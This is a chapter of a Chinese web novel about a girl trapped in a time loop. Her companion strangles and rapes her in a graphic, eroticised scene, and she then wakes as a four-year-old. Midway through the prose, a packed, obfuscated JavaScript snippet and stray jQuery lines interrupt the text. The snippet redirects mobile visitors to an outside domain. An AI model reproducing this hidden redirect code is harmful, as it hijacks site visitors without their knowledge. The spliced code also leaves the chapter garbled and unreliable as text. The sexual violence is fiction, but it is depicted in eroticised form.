25.循环
作品:《池镇怪谈》 下山的时候,我整个人都不好了,看到有村民打扮的人抬着轿子把游客抬下山,觉得既丢人又羡慕。
同桌扶着我的腰,让我软泥一样瘫在他身上:
“想坐轿子?”
“不坐!”骨子里的骄傲让我不肯轻易放弃,“我开学就是大学生了,咱的体力不能丢大学生的脸!”
他顿了顿,问我:
“你志愿打算填哪所大学?”
我低着头一步一步地挪下有我小腿高的台阶,嘟哝道:
“要看我估分和其他学生的分数吧。再过大半个月才填志愿呢,不着急。”
高考是先填志愿再出成绩,至少目前还没有改革的迹象。
对于能考上什么样的大学,我着实是心里没数。
同桌搂着我的腰,扶着我一级一级下台阶,轻声细语道:
“没事,到时候我给你估分,你想去哪里,我都可以给你建议。”
“哇,胖虎你也太好了吧?”
他没说话,垂首专心看着台阶,像是怕我摔倒。
说实话我的腿已经软得像面条,脚底也跟针扎一样疼,不坐轿子是我最后的倔强。
终于到了半山腰的茶摊,我一屁股瘫坐下去,同桌则去隔壁点了茶水和点心。
山上的东西都是靠村民人力挑上来的,贵得离谱,赚的就是这份救急钱。
我有些心疼花费,同桌却让我不要担心。
茶摊的景色很好,游客来往如织,但大多都只是看了一眼茶摊就走了,不当这个冤大头。
冤大头同桌把茶水往我这里推了推:
“不喜欢吗?”
“喜欢。”我气若游丝,“就是差点死了。”
嘴巴被立刻捂住了,他眼底有着微不可察的慌乱:
“别瞎说。”
我静静地看着他,看到他的神情越来越不安,便移开目光,不与他对视。
我看向云层,转移了话题:
“这里风景很美。”
“嗯。”
他简短而紧绷地回答我。
我将杯中茶饮尽,起身:
“走吧。”
……
晚上,我们回到了民宿。
我在浴缸里泡了很久,躺在床上时,腿脚还是酸痛,他就爬过来给我按揉。
我絮絮叨叨地和他说着明天的计划,偶尔和他对视时,能看到他眼中深藏的欲望。
但他掩饰得很好,我就当做没有看见。
迷迷糊糊睡着时,他的按揉停下,去熄了灯,然后把我抱进怀里。
面对面的姿势过于亲密了,我下意识挣了一下,被抱得更紧。
就好像我是什么不抱紧了就会逃跑的动物一样。
意识朦胧间,我听到他没头没尾的低喃。
“不要让我再经历一次了。”
……
在外旅游其实也有很多不便的地方,不到半个月我就开始想家。
于是我们结束了旅程,买了返程的机票,赶在填报志愿前回到了池镇。
意外的是,我在家门口看到了一地烟蒂。
家里没有人抽烟,这一定是别人留下的,看样子倚着我家的门等了很久。
同桌看到后,脸色瞬间阴沉下来,不过他什么都没说,让我进屋把行李箱收拾好。
等我再出来时,那堆烟灰已经消失不见了。
到了晚间,我独自坐在书桌前估分,忽然有人拿石子敲我窗户。
我推开窗,看到楼下路灯光中站着个身影。
是周驰。
自从上次提亲乌龙之后,我就再也没见过他,不知道他怎么有事要找我。
他先是对我比了个噤声的手势,接着示意我下楼。
我才不听他的,正准备关窗,却见他扔了个东西进来。
他准头很足,我抬手就接到了,是个防油纸包,里面包着一只香喷喷的椒盐鸡腿。
他怎么知道我最喜欢吃鸡!?
我低头望去,他给我展示了他怀里的塑料袋。
我不争气地咽了咽口水。
好吧,也许他是真的有事要找我呢。
我推门打算去找他,隔壁房间,同桌正在和伯父伯母讲旅行路上的见闻,我就没有打扰他。
下了楼,周驰先是警惕地往我身后看了一眼,便来抓我手腕:
“找个说话的地方。”
他身上缠绕着淡淡的烟草味,我甩开他的手:
“这里不是说话的地方吗?你明说吧,找我有什么事?”
他语气急促:
“和你的安全有关。灵灵,你去我家吧,填志愿的时候我借你电脑,在录取通知书寄过来之前,你都不要独自出门,好不好?”
他突然跑过来跟我说这些,我感到莫名其妙:
“什么意思?你想让我干什么就把前因后果交代清楚,不然我不会理你的。”
他张了张口,欲言又止,紧紧抓住我的手腕,看上去真的很着急,最后下定决心般,猛然靠近,附耳低声道:
“有人要杀你。你会死,会死很多很多次……灵灵你相信我,我是真的喜欢你,我也是真的想救你,我是绝对绝对不会害你的——”
“灵灵。”
一道声音打断了他。
周驰吓了一跳,瞠目结舌地望向我身后。
我转过头,看到同桌下了楼,向这里走来,边走边平静地告诫我:
“我跟你说过,不要跟他打交道。”
我闻言,立刻把周驰推开,跑回同桌身边,他牵住了我的手,看都没有看周驰一眼,直接把我往楼上领。
等进了我卧室,他把我推在门上,手指摩挲着我的耳朵和脸颊,声音不冷不热:
“他碰你了吗?还是亲你了?”
“没有,就是说了几句话。”
我老实回答。
“说了什么?”
我正要开口,心头忽然一悸,话到嘴边拐了弯:
“他说他喜欢我。”
“那你呢?你怎么想?”
他的指腹游移到了我的嘴唇。
我被他钳制,抵在门板上,有些不适地皱了皱眉:
“没什么想法。我根本不想和他打交道。”
“可你还是下楼去见了他,甚至没有告诉我。”
他的神态有些低落,眼睫半阖着看我。
“……”
我总不能说是被一只鸡腿骗下去的。
太丢人了。
只能缄默。
见我不说话,同桌骤然掐住我下巴,声音却依然轻柔:
“你也喜欢他?”
“不是!”
我立刻否认。
这误会可大发了。
“那你为什么要去见他?”
好的,话题又绕回来了。
我不说话了。
“这一次还是不行吗?”他呢喃,黑如浓墨的眼里浮现出深刻的伤感与不舍,一只手搭在我脖颈上,慢慢收紧,“你还是会和他扯上关系,还是不会爱上我。”
我感到窒息,挣扎起来:
“胖虎,胖虎你——”
脸颊肯定涨红了,大脑缺氧,以至于我根本没意识到什么时候被掀起了裙摆。
我难以呼吸,但还是尽力安抚他:
“不……不是……”
可我无法发声,他重重地、凶狠地吻上我,一只手扼着我的喉咙,恍若叹息地呢喃:
“每一次,每一次都会往前回溯一点点。胡灵灵,我对你已经够好了,这一次,我在你四岁的时候就回来了,我没有欺负过你一天,可你为什么还是不肯爱我?
“是你,是你把我变成怪物的。
“胡灵灵,告诉我,要怎样才肯爱我?
“算了。这个轮回也不行了。
“至少最后,让我爱你,可以吗?”
他说着我听不懂的话,我茫然地睁大泪眼,喉间溢出闷哼。
我是为了保护胡灵灵而生的怪物,是她的铠甲,是她的守护神。
可我没有她的记忆。
我不清楚他说的轮回是什么,也不清楚为什么他会变成这样。
但我的身体还记得。
灵灵,灵灵,躲起来,闭上眼,捂住耳朵,不要看,不要听。
身体陷入床铺,灵魂深埋地下。
没有温柔的试探,他从第一击开始,就抱着同归于尽的决心。
蛮横,强势,不讲道理。
我和他都很不好受,但我也许更痛一些。
身心都是。
我想呼救,但是被他五指用力捂紧嘴巴,只留下急促呼吸的余裕。
脖颈上的手叫我一次次在窒息边缘徘徊。
意识渐渐漂浮云端,混沌无法思考。
有那么几秒,我仿佛魂魄离了体,误以为自己已经死掉。
假面撕裂,露出其下血淋淋的兽类皮肉。
假的,都是假的。
关怀和迁就是假的,忍让和宠溺是假的,回护和偏爱是假的。
只有疼痛是真的。
真相揭开这一刻,我仿佛是在温室里生活了十几年的花朵,被骤然连根拔起,丢入冰天雪地之中。
床单在手底扭曲变形,托举着纠缠挣扎的两个灵魂向下沉沦。
窒息愈发强烈,连带着被抛上云端时,毁天灭地的快感。
水声黏腻,连绵不绝。
我本以为他是不一样的。
可是,是一样的。
他和他们,都是一样的。
……再也不要相信他了。
这句话,我好像已经说过,无数次。
照理说,没有爱就不会有恨,可我此刻却真的恨他入骨。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809621|156798||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>恨他的欺骗,恨他的背叛,恨他的伪装与反咬。
可我自诞生起便不知何为爱。
直到此刻才恍惚悟出,是他一点一点教会了我。
又在今天将它当着我的面撕碎。
他在我耳边凶狠又脆弱地哀求:
“叫我的名字。”
我在他松开些许的手掌中,满心恨意,咬着牙,颤抖道:
“周……驰。”
他被激怒,连最后的一点温情都消失殆尽。
我渐渐涣散的瞳孔中,映出房内穿衣镜上,不知什么时候被画上的莫比乌斯环。
泪水坠落,融入鬓角。
这样的结局,仿佛已经上演过无数遍。
……
猛然睁开眼,我才发现自己趴在桌上睡着了。
桌面上也没有摆着椒盐鸡腿。
是梦?
好真实的梦。
我捂住心脏,那里还在狂跳,梦中濒死的感触刻骨铭心,叫我一时间对自己还活着这件事感到无比庆幸。
感谢上苍,感谢诸天神佛,感谢所有我信的不信的神明和邪神。
松了口气后,又下意识看向床上。
被子叠得整整齐齐,床单平整,没有褶皱。
镜子上也没有莫比乌斯环。
可还是有些不对。
我顿了几秒才发现,是视角不对。
我变矮了?
站起身,我来到穿衣镜前,看到了自己四岁时的样子。
僵在那里,一时间不知该如何是好。
我着急地往门口跑去,踮起脚尖,拧开门把,客厅里空荡荡的,浴室里传来水声。
我跑过去,顾不得敲门,将浴室门一把推开——
看到四岁的同桌,垫着小矮凳,站在洗手池前,正在咳血。
深色的血块从他肉乎乎的指缝间滑落,又被水流冲走。
我怔怔地看着他,他注意到了我,匆忙清理好血迹,露出个安抚的笑:
“别怕,我没事。”
我慢慢后退,无措地把门关上了。
我说过,我信的东西很杂。
看的书和番剧也很杂。
我想,我大概搞明白发生了什么事了,但我需要一些佐证。
伯父伯母也许能给我一些帮助,我记得他们的研究就是和这个相关的,赶紧拔腿跑向他们的书房。
这里放着的都是些学术书籍,我也看不懂,因此平时很少来。
可就在今天,我突击空无一人的书房,却在桌面上找到了一叠厚厚的报告书。
我爬上椅子,蹲在上面,一目十行地翻看,上面赫然写着“祖母悖论与时间循环的纠缠状态相关性及由此延伸出的人工生成时间循环可行性报告”。
我很有经验地翻到最后,看到了整篇报告的总结。
第一,在时间循环中死去的人,会于循环再次开始时,以合理的方式,在相近的时间区间内死去,没有例外。(注:如客观条件不允许,会以上个循环中相同的死因突然死亡,此时不存在因果链条,例如不会出现凶器。推测此规则是为了维护四维空间稳定。另外,也存在在适当的时机,死者身边的人受到规则影响,成为凶手的现象。)
第二,时间循环目前没有破解方法。陷入时间循环的人不会有相关记忆,因此无法以正常手段证明时间循环真实存在。(另:发现时间循环存在的契机详情见报告第26页)
第三,本文反驳了陈启夫妇在SSCI发表的关于时间循环的观点,即时间循环可以被充分利用,为人类发展谋福祉。本文观点是,时间循环是一种极其可怕、不可控的高维现象,堪比黑洞,以人类目前的科技认知水平,完全无法掌控,不建议进行针对性研究。
下面有一行凌乱的备注。
【尽一切努力中止人工制造时间循环的进度】
看到这行字的同时,我在心中叹息。
我的亲生父母,终于还是成功开启了时间循环。
在他们死后。
……
【“她”重新接管了身体。
主人格回归,我便可以陷入沉睡。
我在这里感到很安心,很舒服。
我不会再出现了。
特此记录。
我是替“她”承受口口口漫长折磨的守护神。
她一直以为她才是第二人格。
不过没关系,人总是在守护一样东西时才变得强大。
我希望她能永远强大下去。
在口口口开始缓和态度的这个轮回,我将身体还给了“她”。
我想,他会对她好的。
她不会再哭了吧。
灵灵,如果你看到这则留言,请不要试图寻找我。
我已融入你身。
今后的路,你可以自己走了。
——《无名日记》】